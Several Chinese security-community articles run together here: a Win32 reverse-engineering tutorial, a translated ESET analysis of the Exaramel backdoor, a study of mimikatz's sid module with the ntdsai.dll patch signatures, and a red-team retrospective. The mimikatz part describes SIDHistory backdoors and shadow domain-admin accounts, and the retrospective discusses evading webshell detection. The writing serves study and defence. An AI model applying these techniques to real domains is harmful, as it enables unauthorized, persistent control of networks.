wndclass.lpfnWndProc = WindowProc; //窗口过程函数
wndclass.lpszClassName = className; //窗口类的名字
wndclass.hInstance = hInstance; //定义窗口类的应用程序的实例句柄
//注册
RegisterClass(&wndclass);
// 创建窗口
HWND hwnd = CreateWindow(
className, //类名
TEXT("我的第一个窗口"), //窗口标题
WS_OVERLAPPEDWINDOW, //窗口外观样式
10, //相对于父窗口的X坐标
10, //相对于父窗口的Y坐标
600, //窗口的宽度
300, //窗口的高度
NULL, //父窗口句柄，为NULL
NULL, //菜单句柄，为NULL
hInstance, //当前应用程序的句柄
NULL); //附加数据一般为NULL
if(hwnd == NULL) //是否创建成功
return 0;
CreateButton(hwnd);
// 显示窗口
ShowWindow(hwnd, SW_SHOW);
//消息循环
MSG msg;
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
### win32应用程序入口识别
这里首先改成release版本编译
拖入od，这里并不是我们写的入口程序的地址
在`WinMain`执行之前下断点查看堆栈，发现调用`WinMain()`的是`WinMainCRTStartup()`这个函数
od往下跟，找到`GetModuleHandleA`这个函数
**GetModuleHandleA**
看一下MSDN里对`GetModuleHandleA`的描述
HMODULE GetModuleHandleA(
LPCSTR lpModuleName
);
> The name of the loaded module (either a .dll or .exe file). If the file name
> extension is omitted, the default library extension .dll is appended. The
> file name string can include a trailing point character (.) to indicate that
> the module name has no extension. The string does not have to specify a
> path. When specifying a path, be sure to use backslashes (), not forward
> slashes (/). The name is compared (case independently) to the names of
> modules currently mapped into the address space of the calling process.
>
> If this parameter is NULL, **GetModuleHandle** returns a handle to the file
> used to create the calling process (.exe file).
>
> The **GetModuleHandle** function does not retrieve handles for modules that
> were loaded using the **LOAD_LIBRARY_AS_DATAFILE** flag. For more
> information, see [LoadLibraryEx](https://docs.microsoft.com/en-> us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibraryexa).
此函数用来加载模块的名称，如果参数为NULL，则返回exe的句柄
继续跟这个函数，这里的`GetModuleHandleA`用的是间接call，指向一个地址
这里跟到这个地址，发现这里又指向一个地址，地址里面存储的是`KERNEL32`这个dll的`GetModuleHandleA`这个函数
这里点击回车跟进这个函数查看
这里发现`retn 10`，也就是4个参数，那么几乎可以确定这个函数就是我们要找的入口函数
这里往上看一个细节，这里首先把内存的值传给了ecx，再把ecx的值压入堆栈，那么这里肯定就不是寄存器传参。一般使用寄存器传参的不会有从内存赋值给ecx的操作
## ESP寻址
这里首先说一下ESP的概念，我们知道在汇编层面中有许多个标志寄存器，在这些标志寄存器里面ESP和EBP可以说是成对存在的
ESP：栈指针寄存器 (extended stack pointer) ，永远指向系统栈最上面一个栈帧的栈顶。
EBP：基址指针寄存器(extended base pointer), 永远指向系统栈最上面一个栈帧的栈底。
我们如果要往一个栈里面存放数据，首先需要在栈里面申请空间，然后调整esp和ebp
例如在这个地方我根据汇编语句画出堆栈图，在执行push 0x5，push
0xc和push0x9的操作的时候，esp就会相应的减少12，对应的十六进制就是10，所以ESP就从0019FEE4 – 10 =
0019FED8，也就是说如果要往栈里面存入数据，esp的值就是栈顶的地址值
F2断点到函数位置
查看堆栈里面的值，发现有四个参数，因为压栈顺序为`_stdcall`内平栈，从右往左入栈，那么第一个参数就是`hInstance`即`ImageBase`，第二个参数为`hPrevInstance`永远为NULL，第三个参数为`IpCmdLine`为命令行参数，第四个参数为`nCmdShow`为最大最小化还是正常显示
这里的`0019FEE4`里面存的就是函数调用完成后返回的地址，即`00401783`
这里注意一下，之前提升堆栈都是通过`push ebp`，`mov
ebp,esp`提升堆栈，但是在`release`版本中可能使用的是esp寻址，直接使用`sub esp,0x98`提升堆栈而`ebp`不变
这里提升堆栈过后，`esp+0x98`的地址存的就是函数的返回地址，如果要找第一个参数就是`esp+0x9C`
所以如果使用esp寻址的话，esp的值是随时要变化的，所以在堆栈寻址的时候要时刻注意esp的变化
## 窗口回调函数
DllMain只是在Windows系统里注册的一个回调函数（call back）
早期的SDK版本中，DllMain是叫做DllEntryPoint
DllMain 是Dll 的缺省入口函数，DLLMain 负责Dll装载时的初始化及卸载的收尾工作，每当一个新的进程或者该进程的新的线程访问 DLL
或访问DLL 的每一个进程或线程不再使用DLL时，都会调用 DLLMain。
使用 TerminateProcess 或 TerminateThread 结束进程或者线程，不会调用DLLMain。
有些DLL并没有提供DllMain函数，也能成功引用DLL，这是因为Windows在找不到DllMain的时候，系统会引入一个缺省DllMain函数版本。
缺省的DllMain函数在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Windows\AppInit_DLLs 键值中。
DllMain函数的原型
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved );
BOOL APIENTRY DLLMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
}
return TRUE;
}
参数：
hModule：
是动态库被调用时所传递来的一个指向自己的句柄(实际上，它是指向_DGROUP段的一个选择符)；
ul_reason_for_call：
是一个说明动态库被调原因的标志。当进程或线程装入或卸载动态连接库的时候，操作系统调用入口函数，并说明动态连接
> DLL_PROCESS_ATTACH
> 进程被调用
> DLL_THREAD_ATTACH
> 线程被调用
> DLL_PROCESS_DETACH
> 进程被停止
> DLL_THREAD_DETACH
> 线程被停止
lpReserved：是一个被系统所保留的参数；
> DLL_PROCESS_ATTACH
> 每个进程第一次调用DLL文件被映射到进程的地址空间时，传递的fdwReason参数为DLL_PROCESS_ATTACH。
> 这进程再次调用操作系统只会增加DLL的使用次数。
> DLL_THREAD_ATTACH
> 进程中的每次建立线程，都会用值DLL_THREAD_ATTACH调用DllMain函数，哪怕是线程中建立线程也一样。
> DLL_PROCESS_DETACH
> 当DLL被从进程的地址空间解除映射时，系统调用了它的DllMain，传递的fdwReason值是DLL_PROCESS_DETACH。
◆FreeLibrary解除DLL映射（有几个LoadLibrary，就要有几个FreeLibrary）
◆进程结束而解除DLL映射，在进程结束前还没有解除DLL的映射，进程结束后会解除DLL映射。
用TerminateProcess终结进程，系统就不会用DLL_PROCESS_DETACH来调用DLL的DllMain函数。
注意：当用DLL_PROCESS_ATTACH调用DLL的DllMain函数时，如果返回FALSE，说明没有初始化成功，系统仍会用DLL_PROCESS_DETACH调用DLL的DllMain函数。
DLL_THREAD_DETACH
线程调用ExitThread来结束线程（线程函数返回时，系统也会自动调用ExitThread），用DLL_THREAD_DETACH来调用DllMain函数。
注意：用TerminateThread来结束线程，系统就不会用值DLL_THREAD_DETACH来调DLL的DllMain函数。
早期的SDK版本中，DllMain是叫做DllEntryPoint。其实Dll的入口函数名是可以自己定义的。
窗口回调函数的结构
wndclass.lpfnWndProc = WindowProc;
而`wndclass`是通过`RegisterClass`注册进去的，那么我们继续在od里面跟到`RegisterClass`这个函数，在push参数前面下一个断点
F8单步跟下去，得到eax的值为`0019FEC0`，这个地址就是我们要找的结构
点击右键在堆栈窗口中跟随，这里可以看到堆栈窗口中是有10个值
在`WNDCLASS`中，第二个成员`lpfnWndProc`就是我们找的回调函数，地址为`004010F0`
typedef struct _WNDCLASS {
UINT style;
WNDPROC lpfnWndProc;
int cbClsExtra;
int cbWndExtra;
HINSTANCE hInstance;
HICON hIcon;
HCURSOR hCursor;
HBRUSH hbrBackground;
LPCTSTR lpszMenuName;
LPCTSTR lpszClassName;
} WNDCLASS, *PWNDCLASS;
## 具体事件处理
首先看一下具体事件处理的代码
LRESULT CALLBACK WindowProc(
IN HWND hwnd,
IN UINT uMsg,
IN WPARAM wParam,
IN LPARAM lParam
)
{
switch(uMsg)
{
//窗口消息
case WM_CREATE:
{
DbgPrintf("WM_CREATE %d %d\n",wParam,lParam);
CREATESTRUCT* createst = (CREATESTRUCT*)lParam;
DbgPrintf("CREATESTRUCT %s\n",createst->lpszClass);
return 0;
}
case WM_MOVE:
{
DbgPrintf("WM_MOVE %d %d\n",wParam,lParam);
POINTS points = MAKEPOINTS(lParam);
DbgPrintf("X Y %d %d\n",points.x,points.y);
return 0;
}
case WM_SIZE:
{
DbgPrintf("WM_SIZE %d %d\n",wParam,lParam);
int newWidth = (int)(short) LOWORD(lParam);
int newHeight = (int)(short) HIWORD(lParam);
DbgPrintf("WM_SIZE %d %d\n",newWidth,newHeight);
return 0;
}
case WM_DESTROY:
{
DbgPrintf("WM_DESTROY %d %d\n",wParam,lParam);
PostQuitMessage(0);
return 0;
}
//键盘消息
case WM_KEYUP:
{
DbgPrintf("WM_KEYUP %d %d\n",wParam,lParam);
return 0;
}
case WM_KEYDOWN:
{
DbgPrintf("WM_KEYDOWN %d %d\n",wParam,lParam);
return 0;
}
//鼠标消息
case WM_LBUTTONDOWN:
{
DbgPrintf("WM_LBUTTONDOWN %d %d\n",wParam,lParam);
POINTS points = MAKEPOINTS(lParam);
DbgPrintf("WM_LBUTTONDOWN %d %d\n",points.x,points.y);
return 0;
}
//子进程鼠标信息
case WM_COMMAND:
{
switch(LOWORD(wParam))
{
case 1001:
MessageBox(hwnd,"Hello Button 1","Demo",MB_OK);
return 0;
case 1002:
MessageBox(hwnd,"Hello Button 2","Demo",MB_OK);
return 0;
case 1003:
MessageBox(hwnd,"Hello Button 3","Demo",MB_OK);
return 0;
}
}
}
return DefWindowProc(hwnd,uMsg,wParam,lParam);
}
这里继续往下找，比如我要弄清楚一个函数的具体功能，这里就以`WM_LBUTTONDOWN`为例
`WM_LBUTTONDOWN`对应的编号为`0x0201`
在回调函数的地方下个断点，这里的`[esp+0x8]`就是消息的类型
加一个条件为消息类型是`WM_LBUTTONDOWN`
运行一下，当我点击右键的时候程序还是会照常运行
当我点击左键的时候它暂停了
F8单步往下跟就可以找到鼠标左键按钮处理的函数 | 社区文章 |
本文翻译自：<https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/>
* * *
ESET对TeleBots使用的Exaramel新后门进行分析发现，其与Industroyer主后门有大量代码重叠，这将Industroyer和TeleBots关联在一起，而TeleBots是NotPetya勒索软件背后的运营者，因此最终也将NotPetya和BlackEnergy关联在一起。
# Win32/Exaramel后门分析
Win32/Exaramel后门最初是dropper初始化的。Dropper中的元数据表明后门是用Microsoft Visual Studio编译的。
图1. Win32/Exaramel后门dropper中的PE时间戳
执行后，dropper会在Windows系统目录中应用`Win32/Exaramel`后门，并创建和开启一个名为`wsmproav`的Windows服务，服务的描述为“Windows
Check AV”。文件名和Windows服务描述是硬编码在dropper中的。
图2. Win32/Exaramel后门创建的Windows服务注册表设置
此外，dropper还会将Windows注册表中的后门配置以XML格式写入Windows注册表中。
图3. Win32/Exaramel后门XML配置
配置数据中含有以下区块：
* Interval – Sleep函数使用的时间
* Servers – C2服务器地址列表
* Check – 用于确定主机是否有网络连接的网站
* Proxy – 主机所在网络上的代理服务器
* Storage – 用于保存计划窃取的文件的路径
从配置数据的第一行可以看出，攻击者根据使用的安全措施将目标进行了分组。Industroyer工具集中也有类似的行为，一些Industroyer后门伪装成AV相关的服务并使用系统的分组。
另一个有趣的点是后门使用的C2服务器域名模拟了属于ESET的域名。除了配置数据中的esetsmart[.]org外，还有一个相似的域名um10eset[.]net，该域名由最近发现的Telebots恶意软件Linux版本中使用。而攻击者控制的服务器与ESET合法服务器基础设施是没有关系的。
后门运行时，就会连接到C2服务器，并接收将要执行的命令。接收的命令有：
* Launch process 启动进程
* Launch process under specified Windows user 在特定Windows用户下启动进程
* Write data to a file in specified path 在特定路径下的文件中写入数据
* Copy file into storage sub-directory (Upload file) 将文件保存到存储子目录（Upload file）中
* Execute shell command 执行shell命令
* Execute shell command as specified Windows user以特定的Windows用户执行shell命令
* Execute VBS code using MSScriptControl.ScriptControl 用MSScriptControl.ScriptControl执行VBS代码
命令循环的代码和前条命令的实现也与Industroyer工具集使用的后门非常相似：
图4. Win32/Exaramel后门（左）和Win32/Industroyer后门（右）反编译代码比较
这两个恶意软件家族都使用一个report文件来保存执行shell命令和启动的进程的结果。在win32/
Industroyer后门中，report文件以随机文件名保存在临时文件夹下；Win32/Exaramel的report文件名为`report.txt`，保存路径预定义在后门的配置文件中了。
为了重定向report文件的标准输出（`stdout`）和标准错误（`stderr`），这两个后门都将hStdOutput和hStdError参数设定为report文件的句柄。这也是两款恶意软件家族的另一个设计相似性。
图5. Win32/Exaramel后门（上）和Win32/Industroyer后门（下）反编译代码比较
如果恶意软件运营者想要从受害者计算机中窃取数据，只需要将文件复制到配置文件预定义的存储路径子目录中即可。因为后门要创建一个到C2服务器的新连接，在发送前会自动压缩和加密所有的文件。
Industroyer工具集的后门和新TeleBots后门的主要区别是后者的通信和配置都使用XML格式，而不是传统的二进制文件格式。
# 密码窃取工具
除了Exaramel后门外，Telebots组织还使用一些之前使用过的工具，包括一个密码窃取器CredRaptor和修改过的Mimikatz。
CredRaptor是一款定制的密码窃取工具，Telebots组织2016年开始使用该工具。相比之前的版本，最新更新的版本不仅会从浏览器收集保存的密码还会从Outlook、许多FTP客户端收集保存的密码。下面是支持的应用列表：
* BitKinex FTP
* BulletProof FTP Client
* Classic FTP
* CoffeeCup
* Core FTP
* Cryer WebSitePublisher
* CuteFTP
* FAR Manager
* FileZilla
* FlashFXP
* Frigate3
* FTP Commander
* FTP Explorer
* FTP Navigator
* Google Chrome
* Internet Explorer 7 – 11
* Mozilla Firefox
* Opera
* Outlook 2010, 2013, 2016
* SmartFTP
* SoftX FTP Client
* Total Commander
* TurboFTP
* Windows Vault
* WinSCP
* WS_FTP Client
这种改善使攻击者可以收集webmaster的凭证和内部基础设施服务器的凭证。一旦获取了此类服务器的访问权限，攻击者就可以植入其他的后门。因为这类服务器一般都不是Windows操作系统，所以攻击者必须修改其后门。
事实上，研究人员在进行事件响应的过程中还发现一个TeleBots使用的Linux后门——Linux/Exaramel.A。
# Linux/Exaramel后门分析
该后门是用GO语言编写的，编译为64位的ELF二进制文件。攻击者可以在选择的目录中以任意名应用后门。
如果攻击者用字符串`none`作为命令行参数执行该后门，后门就会尝试使用驻留机制，以达到重启后自动运行的目的。如果后门并没有以`root`账户执行，就使用`crontab`文件。如果以`root`账户运行，就可以支持不同的Linux
init系统，可以通过下面的命令来确定当前运行的是哪个init系统：
strings /sbin/init | awk ‘match($0, /(upstart|systemd|sysvinit)/){ print substr($0, RSTART, RLENGTH);exit; }’
基于命令运行的结果，会使用下列硬编码的位置用作驻留：
在开机过程中，后门会尝试打开一个配置文件`config.json`，配置文件与后门保存在同一目录。如果配置文件不存在，就创建一个新文件。配置文件使用的加密算法为RC4，key为`s0m3t3rr0r`。
图6.解密的Linux/Exaramel后门JSON配置
后门会连接到硬编码的C2服务器或配置文件HOSTs值中的C2服务器。通信是通过HTTPS方式发送的。后门支持的命令有：
* App.Update 更新自己
* App.Delete 从系统中删除自己
* App.SetProxy 在配置中设置代理
* App.SetServer 在配置中更新C2服务器
* App.SetTimeout 设置timeout值（连接C2服务器的时间间隔）
* IO.WriteFile 从远程服务器下载文件
* IO.ReadFile 从本地硬盘上传文件到C2服务器
* OS.ShellExecute 执行shell命令
# 结论
Exaramel后门的发现说明TeleBots组织仍然活跃，并且在不断更新和改进其工具和技术。Win32/Exaramel后门和Industroyer主后门有很多代码相似性，这将Industroyer和TeleBots关联在一起，也将NotPetya和BlackEnergy关联在一起。研究人员还发现了Exaramel后门的win32和Linux版本。攻击中有趣的一点是攻击者在攻击活动中使用了ESET主体的域名，攻击者选择这些域名是为了隐藏其恶意活动。 | 社区文章 |
# 从mimikatz学习Windows安全之访问控制模型（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Loong716@[Amulab](https://github.com/Amulab)
## 0x00 前言
上次的文章分析了mimikatz的token模块，并简单介绍了windows访问控制模型的概念。在本篇文章中，主要介绍sid相关的概念，并介绍mimikatz的sid模块，着重分析sid::patch功能的原理。
上篇：[从mimikatz学习Windows安全之访问控制模型（一）](https://www.anquanke.com/post/id/249863)
## 0x01 SID简介
### 1\. 安全标识符(SID)
在Windows操作系统中，系统使用安全标识符来唯一标识系统中执行各种动作的实体，每个用户有SID，计算机、用户组和服务同样也有SID，并且这些SID互不相同，这样才能保证所标识实体的唯一性
SID一般由以下组成：
* **“S”** 表示SID，SID始终以S开头
* **“1”** 表示版本，该值始终为1
* **“5”** 表示Windows安全权威机构
* **“21-1463437245-1224812800-863842198”** 是子机构值，通常用来表示并区分域
* **“1128”** 为相对标识符(RID)，如域管理员组的RID为512
Windows也定义了一些内置的本地SID和域SID来表示一些常见的组或身份
SID | Name
---|---
S-1-1-0 | World
S-1-3-0 | Creator Owner
S-1-5-18 | Local SYSTEM
S-1-5-11 | Authenticated Users
S-1-5-7 | Anonymous
### 2\. AD域中的SID
在AD域中，SID同样用来唯一标识一个对象，在LDAP中对应的属性名称为`objectSid`：
重点需要了解的是LDAP上的`sIDHistory`属性
**(1) SIDHistory**
SIDHistory是一个为支持域迁移方案而设置的属性，当一个对象从一个域迁移到另一个域时，会在新域创建一个新的SID作为该对象的`objectSid`，在之前域中的SID会添加到该对象的`sIDHistory`属性中，此时该对象将保留在原来域的SID对应的访问权限
比如此时域A有一个用户User1，其LDAP上的属性如下：
cn | objectSid | sIDHistory
---|---|---
User1 | S-1-5-21-3464518600-3836984554-627238718-2103 | null
此时我们将用户User1从域A迁移到域B，那么他的LDAP属性将变为：
cn | objectSid | sIDHistory
---|---|---
User1 | S-1-5-21-549713754-3312163066-842615589-2235 |
S-1-5-21-3464518600-3836984554-627238718-2103
此时当User1访问域A中的资源时，系统会将目标资源的DACL与User1的`sIDHistory`进行匹配，也就是说User1仍具有原SID在域A的访问权限
值得注意的是，该属性不仅在两个域之间起作用，它同样也可以用于单个域中，比如实战中我们将一个用户A的`sIDHistory`属性设置为域管的`objectSid`，那么该用户就具有域管的权限
另一个实战中常用的利用，是在金票中添加Enterprise
Admins组的SID作为`sIDHistory`，从而实现同一域林下的跨域操作，这个将在后面关于金票的文章中阐述
**(2) SID Filtering**
SID Filtering简单的说就是跨林访问时目标域返回给你的服务票据中，会过滤掉非目标林中的SID，即使你添加了`sIDHistory`属性。SID
Filtering林信任中默认开启，在单林中默认关闭
具体可以参考微软的文档和[@dirkjanm](https://github.com/dirkjanm "@dirkjanm")的文章：
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/55fc19f2-55ba-4251-8a6a-103dd7c66280?redirectedfrom=MSDN>
<https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/>
## 0x02 mimikatz的sid模块
### 1\. sid::lookup
该功能实现SID与对象名之间的相互转换，有三个参数：
* **/name** ：指定对象名，将其转换为SID
* **/sid** ：指定SID，将其转换为对象名
* **/system** ：指定查询的目标计算机
### 2\. sid::query
该功能支持通过SID或对象名来查询对象的信息，同样有三个参数，使用时指定 **/sam** 或 **/sid** ， **/system** 可选
* **/sam** ：指定要查询对象的`sAMAccountName`
* **/sid** ：指定要查询对象的`objectSid`
* **/system** ：指定查询的目标域控（LDAP）
这个功能其原理就是直接使用LDAP查询，通过`sAMAccountName`查询对应的`objectSid`，或者通过`objectSid`查询对应的`sAMAccountName`
其核心是调用Windows一系列的LDAP操作API，主要是`ldap_search_s()`：
### 3\. sid::modify
该功能用于修改一个域对象的SID，可以使用的参数有三个：
* **/sam** ：通过`sAMAccountName`指定要修改SID的对象
* **/sid** ：通过`objectSid`指定要修改SID的对象
* **/new** ：要修改对象的新SID
使用该功能是需要先使用sid::patch功能对 **xxxx** 进行patch（自然也需要先开启debug特权），需要在域控上执行
修改时的操作就很简单了，调用LDAP操作的API对域对象的`objectSid`进行修改，主要使用的是`ldap_modify_s()`：
### 4\. sid::add
该功能用来向一个域对象添加`sIDHistoy`属性，有两个参数：
* **/sam** ：通过`sAMAccountName`指定要修改的对象
* **/sid** ：通过`objectSid`指定要修改的对象
* **/new** ：要修改`sIDHistory`为哪个对象的SID，该参数可指定目标的`sAMAccountName`或`objectSid`，当指定名称时会先调用`LookupAccountSid`将其转换为SID
使用该功能也要先执行sid::patch，修改时同样是操作LDAP通过`ldap_modify_s()`修改，不再赘述
### 5\. sid::clear
该功能用来清空一个对象的`sIDHistory`属性
* **/sam** ：要清空`sIDHistory`的对象的`sAMAccountName`
* **/sid** ：要清空`sIDHistory`的对象的`objectSid`
原理就是使用`ldap_modify_s()`将目标对象`sIDHistory`属性修改为空
### 6\. sid::patch
对域控LDAP修改过程中的验证函数进行patch，需要在域控上执行，该功能没有参数
patch共分为两个步骤，如果仅第一步patch成功的话，那么可以使用sid::add功能，两步都patch成功的话才可以使用sid::modify功能
## 0x03 sid::patch分析
sid::patch在系统版本 <
Vista时，patch的是samss服务中ntdsa.dll的内存，更高版本patch的是ntds服务中ntdsai.dll的内存
整个patch过程分为两步：
1. 第一步patch的是`SampModifyLoopbackCheck()`的内存
2. 第二步patch的是`ModSetAttsHelperPreProcess()`的内存
我们以Windows Server 2012
R2环境为例来分析，首先我们需要找到NTDS服务所对应的进程，我们打开任务管理器选中NTDS服务，单击右键，选择“转到详细信息”就会跳转到对应进程，这里NTDS服务对应的进程是lsass.exe
### 1\. 域控对LDAP请求的处理
大致分析一下域控对本地LDAP修改请求的过滤与处理流程，当我们修改`objectSid`和`sIDHistory`时，`SampModifyLoopbackCheck()`会过滤我们的请求，即使绕过该函数修改`objectSid`时，仍会受到`SysModReservedAtt()`的限制
侵入式切换到lsass进程并重新加载用户态符号表：
给两个检查函数打断点
此时我们修改一个用户的描述来触发LDAP修改请求
命中断点后的调用栈如下：
`SampModifyLoopbackCheck()`函数中存在大量Check函数，通过动态调试发现修改`sIDHistoy`的请求经过该函数后便会进入返回错误代码的流程
继续调试到下一个断点
在`SysModReservedAtt()`执行结束后，正常的修改请求不会在`jne`处跳转，而当修改`objectSid`时会在`jne`处跳转，进入返回错误的流程
### 2\. Patch 1/2
当我们想要进行内存patch时，通常会寻找目标内存地址附近的一块内存的值作为标记，编写程序时首先在内存中搜索该标记并拿到标记的首地址，然后再根据偏移找到要patch的内存地址，然后再进行相应的修改操作
mimikatz正是使用这种方法，其在内存中搜索的标记在代码中有明确的体现：
我们将域控的ntdsai.dll拿回本地分析，在其中搜索标记`41 be 01 00 00 00 45 89 34 24 83`
这一部分内容是在函数`SampModifyLoopbackCheck()`函数的流程中，我们可以使用windbg本地调试对比一下patch前后的函数内容
首先我们找到lsass.exe的基址并切换到该进程上下文：
使用`lm`列出模块，可以看到lsass进程中加载了ntdsai.dll，表明此时我们可以访问ntdsai.dll对应的内存了
我们直接查看`SampModifyLoopbackCheck()`函数在内存中的反汇编
为了对比patch前后的区别，我们使用mimikatz执行sid::patch，然后再查看函数的反汇编。如下图所示，箭头所指处原本是`74`也就是`je`，而patch后直接改为`eb`即`jmp`，使流程直接跳转到`0x7ffc403b2660`
而`0x7ffc403b2660`处的代码之后基本没有条件检查的函数了，恢复堆栈和寄存器后就直接返回了，这样就达到了绕过检查逻辑的目的
### 3\. Patch 2/2
同理，按照mimikatz代码中的标记搜索第二次patch的位置`0f b7 8c 24 b8 00 00 00`
查看`ModSetAttsHelperPreProcess()`处要patch的内存，patch前如下图所示
patch完成后内存如下图，其实本质是让`SysModReservedAtt()`函数失效，在内存中寻找到标记后偏移-6个字节，然后将验证后的跳转逻辑`nop`掉
### 4\. 解决patch失败的问题
由于mimikatz中内存搜索的标记覆盖的windows版本不全，所以经常会出现patch失败的问题。例如在我的Windows Server
2016上，第二步patch就会失败，这种情况多半是因为mimikatz中没有该系统版本对应的内存patch标记
此时我们只需要将目标的ntdsai.dll拿下来找到目标地址
然后修改为正确的内存标记和对应的偏移地址即可，如果新增的话记得定义好版本号等信息
此时重新编译后就可以正常patch了
## 0x04 渗透测试中的应用
在渗透测试中的利用，一个是使用SIDHistory属性来留后门，另一个是修改域对象的SID来实现域内的“影子账户”或者跨域等操作
### 1\. SIDHistoy后门
拿下域控后，我们将普通域用户test1的`sIDHistory`属性设置为域管的SID：
此时test1将具有域管权限，我们可以利用这个特性来留后门
### 2\. 域内“影子账户”
假设我们此时拿到了域控，然后设置一个普通域用户的SID为域管的SID
此时我们这个用户仍然只是Domain Users组中的普通域成员
但该用户此时已经具有了域管的权限，例如dcsync：
并且此时也可以用该用户的账号和密码登录域控，登录成功后是administrator的session。但该操作很有可能造成域内一些访问冲突（猜测，未考证），建议在生产环境中慎用
### 3\. 跨域
通常我们拿到一个域林下的一个子域，会通过黄金票据+SIDHistory的方式获取企业管理员权限，控制整个域林
除了这种方法，我们也可以直接修改当前子域对象的`sIDHistory`属性，假设我们现在拿到一个子域域控，通过信任关系发现存在一个父域，此时我们无法访问父域域控的CIFS
但我们给子域域管的`sIDHistory`属性设置为父域域管的SID
此时就可以访问父域域控的CIFS了：
## 0x05 参考
<https://docs.microsoft.com/>
<https://github.com/gentilkiwi/mimikatz> | 社区文章 |
# 复盘攻防，再聊安全
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
截止到28日5点，HW行动终于结束，朋友圈感觉是在过年，到处是倒计时和庆祝声。看来防守方们7*24小时的看监控还是比较无奈的。本次复盘基于我对整个护网行动的观察总结而来，仅代表我个人观点，如有不妥之处，欢迎交流。
## 1.整体攻防的思考
本次攻防，从规则到各方实力，都是绝无仅有的。经常有人问，是攻击队厉害还是防守队厉害？经过我这些年的思考，还是没有得出一个确切的结论。有时候觉得攻击队厉害，因为攻击可以在非特定时间随意发起，出其不意攻其不备，甚至手持0day指哪打哪，毕竟木桶原理决定着攻破一处即可内部突袭；有时候又觉得防守方厉害，因为防守方拥有全部访问流量，随时洞察攻击者的探测并封堵IP，也可以在主机层监控攻击者一举一动，甚至部署蜜罐玩弄黑客于鼓掌之中。总之，这么些年的摸爬滚打经验告诉我，攻防就是这样，道高一尺魔高一丈，一如黑客防线中说的“在攻于防的对立统一中寻求突破”。
## 2.从攻击方思考
在真实的攻击行动中，一般一个目标要搞到核心系统根据防御程度不同，也需要1个月到半年的样子，甚至APT要潜伏一到两年才能拿到自己想要的数据。而此次总共给攻击方的时间只有3个周，并且每个队伍据说10多个目标，这也就决定了攻击要快速、要自动化。
### a)分布式扫描器
要说快速，还是得上扫描器，但是一个扫描器速度肯定不行，再者，被发现攻击行为，立马IP被ban掉，后续就无法进行。所以，分布式扫描器在这种情况下一定是个趋势。首先对全部目标的全端口进行一次扫描+端口识别，根据Banner快速收割一波；
在这个过程中就会有个坑，比如在收集二级域名时，经常采用字典爆破，而防守方会设置一个诱饵二级域名，把流量引入蜜罐之中，坐等上钩。这就需要攻击方们机灵一点，时刻反思这个是不是蜜罐，至于怎么发现蜜罐，以后再聊。
对于AWVS的扫描器，还得请各位升级到最新版，别被防御方反制，毕竟老版本扫描器自身就存在一个RCE。
### b)菜刀？蚁剑？冰蝎？
对于所有的黑客来说，菜刀肯定是一个传奇，一直是最稳定、最牛逼的webshell管理工具之一，但是同时，菜刀也是一个最容易被发现的攻击工具，毕竟流量特征太明显了，而且一旦发现就100%意味着服务器已沦陷，防守方会里面下线进行深入分析。说起来菜刀好像是11年左右发布的（如有记忆偏差，请指正），还记得当初第一次见到这工具时的感觉，那感觉总结起来就是一句话，“卧槽！牛逼！”。因为在菜刀之前，我们学习的都是先小马后大马的姿势。而用了菜刀之后，我深刻理解了什么大马小马都无所谓，能执行命令搞定目标的都是好马。然后经过了几年的迭代，中国菜刀在国内安全圈也是经历了各种风风雨雨，各种后门版满天飞。最后鉴于其加密性能较弱，陆续出现了几个替代版本，蚁剑就是很优秀的一个项目。讲真，我开发水平相对较弱，见到蚁剑才发现原来js也可以写出优秀的跨平台客户端应用。可是正式由于其nodejs写的，才导致其跟AWVS一样，存在一个本地nodejs解析的RCE，很可能被防御方反制。再之后给我“牛逼”感觉的就是冰蝎了，其双向通信加解密的管理方式，让诸多基于黑名单正则的防御产品厂商直接歇菜。可是很奇怪的时，还是有很多大量攻击方采用菜刀、jspspy之类的原始webshell，结果被防御方轻松发现并清除。
不过说到最后，我有一个疑惑，为何大家非得用webshell这种方式搞服务器呢？比如在存在weblogic反序列化或者Struts2
RCE漏洞时，黑客们写的工具还是一键写入webshell这种。安全发展到今天，防御手段越来越多，各位白帽子是时候改变了。正如我之前说的，不管用什么shell工具，只要能在服务器端执行命令，下面就肯定有更好的解决方案。我一般会使用命令方式加载自己的二进制版远控来操作，现在的二进制远控，不像以前，还得生成exe用菜刀上传，在命令行下执行，现在基本都可以做到类似mshta或者powershell的一句话直接动态上线，并且基于TCP/UDP协议的命令执行、文件管理，一是稳定，二是完全绕过那些基于黑名单的流量分析设备。类似metasploit的脚本payload反弹的meterpreter，但是msf特征明显，也容易被杀，所以我个人估计后面攻防还是会发展到类似cobalt
strike之类的工具对抗上。
### c)水坑&鱼叉
